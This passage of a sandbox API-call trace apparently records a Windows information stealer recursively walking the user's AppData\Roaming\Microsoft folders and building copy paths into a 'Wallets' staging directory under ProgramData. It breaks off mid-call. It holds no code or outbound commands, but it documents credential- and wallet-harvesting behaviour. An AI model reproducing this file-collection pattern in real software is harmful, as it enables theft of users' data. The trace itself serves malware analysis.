lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" [0052.245] lstrcmpW (lpString1="16", lpString2=".") returned 1 [0052.245] lstrcmpW (lpString1="16", lpString2="..") returned 1 [0052.245] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*.*" [0052.245] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x589fc0 [0052.245] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\." [0052.246] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\." [0052.246] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.246] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.246] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\.." [0052.246] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\.." [0052.246] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.246] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.246] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.246] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0052.246] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\" [0052.246] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" [0052.246] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0052.246] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0052.246] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0052.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*.*" [0052.246] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a4c0 [0052.249] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\." [0052.249] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\." [0052.249] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.249] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.249] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\.." [0052.249] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\.." [0052.249] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.249] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.249] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.249] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0052.249] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\" [0052.249] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\", lpString2="Global.MPT" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\Global.MPT") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" [0052.250] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.250] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.250] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.250] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0052.250] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.250] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.250] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.250] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0052.250] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.250] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.250] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" [0052.250] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0052.250] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0052.250] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0052.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*.*" [0052.250] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a200 [0052.251] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0052.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\" [0052.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\." [0052.251] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" [0052.251] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\" [0052.251] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\." [0052.251] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.251] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.251] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0052.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\" [0052.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\.." [0052.251] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" [0052.251] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\" [0052.251] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\.." [0052.251] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.251] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.251] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.251] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0052.251] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\" [0052.252] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0052.252] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network" [0052.252] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\" [0052.252] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\", lpString2="Connections" | 